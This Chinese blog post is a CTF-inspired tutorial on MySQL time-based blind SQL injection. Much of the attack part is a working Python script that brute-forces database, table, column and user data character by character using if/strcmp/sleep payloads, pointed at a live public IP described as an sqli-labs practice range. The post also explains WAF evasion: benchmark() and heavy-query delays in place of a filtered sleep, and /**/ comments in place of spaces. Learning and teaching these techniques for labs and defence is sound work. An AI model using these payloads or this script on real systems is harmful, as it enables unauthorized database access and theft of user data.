sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips

前言

在一场大型比赛 碰到一个盲注题 被打懵了,怎么注入都不行,赛后研究wp,发现自己对于盲注的理解还不深刻,于是有了这篇文章。

盲注

所谓盲注就是页面并没有回显,我们并不知道注入的东西执行没,同时,因为没有回显,所以显示内容也不会进行显示,这个时候 一般都会有报错盲注,时间盲注,DNS注入等几种,常规思路,这次主要聊聊时间盲注。

常规思路

先说常用的手段,我们进行时间盲注都是写脚本就行跑。

先说思路再看脚本内容就很容易理解了。

一个页面没有回显,但是会执行了我们拼接的命令,那么我们最简单的方法就是 用if 加sleep 搭配进行盲注,通过控制数据库名 表名 列名的位数,比如数据库名为 robot,我们先取出第一位r ,转换为ascll码为114,而我们知道的 mysql中要么就是数字 字母 加一些特殊符号,而这些东西的ascll码都在33-127的范围内,我们控制第一位 写一个for循环在33-127中进行对比,如果相等就让沉睡2秒,然后进行比较页面时间,如果页面时间反响大于2秒就输出该ascll码的字符,那是不是就可以回显出来内容了。

于是根据该思路写一下脚本:

url放你自己的目标,这里放的是公网的一个sqllab靶场的 你想测试可以试试。

import urllib.parse
import requests
import time
import base64

url="http://43.138.207.3:8002/Less-1/?id="
flag=""
for i in range(1,50):
    for s in range (33,127):
       # poc="1' or  if((select strcmp(ord(right(database(),"+str(i)+")),"+str(s)+")),1,sleep(2)) --+" #跑出数据库
       # poc="1' or if((select strcmp(ord(right((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+")),"+str(s)+")),1,sleep(2)) --+" #跑出表名
       # poc="1' or if((select strcmp(ord(right((select group_concat(column_name) from information_schema.columns where table_name='users'),"+str(i)+")),"+str(s)+")),1,sleep(2)) --+" #跑出字段
        poc="1' or  if((select strcmp(ord(right((select group_concat(username) from users),"+str(i)+")),"+str(s)+")),1,sleep(2)) --+" #跑出字段数据内容
        t1 = time.time()
        res = requests.get(url + poc)
        t2 = time.time()
        if (t2 - t1 > 2):
            flag = chr(s)+flag
            print(flag)
            break
print(flag)

 

那么比赛当中我们可能不会碰见这么简单的题,一般都是sql盲注加一个waf过滤,那么如果sleep函数被过滤了怎么办? 这里常见的思路有这么几个 第一个能不能绕过过滤,比如双写 内敛注释等。

第二种就是有没有可替换的函数,绕过的方式就不再细讨论,就那几个方式,这里主要说等价可替换的函数。

Sleep被过滤等价操作

一、benchmark()函数

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

也就是说是Mysql特有的函数。

图片[1]-sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips-Drton1博客

通过执行多次命令 形成延时 可以 配合盲注进行猜解 数据库库名 表名。

这个延时的逻辑就是执行多次一条命令,形成延时。然后拿这个延时的的时间当作判断的标准,

当sleep被过滤,我们用这个替换就可。

二、heavy query

当一个时间盲注中不能用sleep等函数的时候,为了达到延时的效果,可以查询一些量比较大的表做笛卡尔集运算,导致查询缓慢。heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算。判断之后 我们进行大量的运算造成延时,然后我们通过这个延时去进行判断。

图片[2]-sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips-Drton1博客

我们直接把sleep那个进行替换,可以看到正常跑出内容。

图片[3]-sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips-Drton1博客

Tips

当waf过滤空格时候 用内联注释绕过 /**/代替空格

执行sql语句可以没有空格,用括号包裹好即可。

图片[4]-sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips-Drton1博客

有时候去执行sql语句要善于运用or and 逻辑符号,让我们的语句正常执行

图片[5]-sql时间盲注以及sleep被过滤的几种冷门的函数方法以及tips-Drton1博客

这个C语言就学了 and 如果左边是假的 那么右边就不执行了, or 如果左边是真的那么右边也就不执行了。 这个要运用好,结束!

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论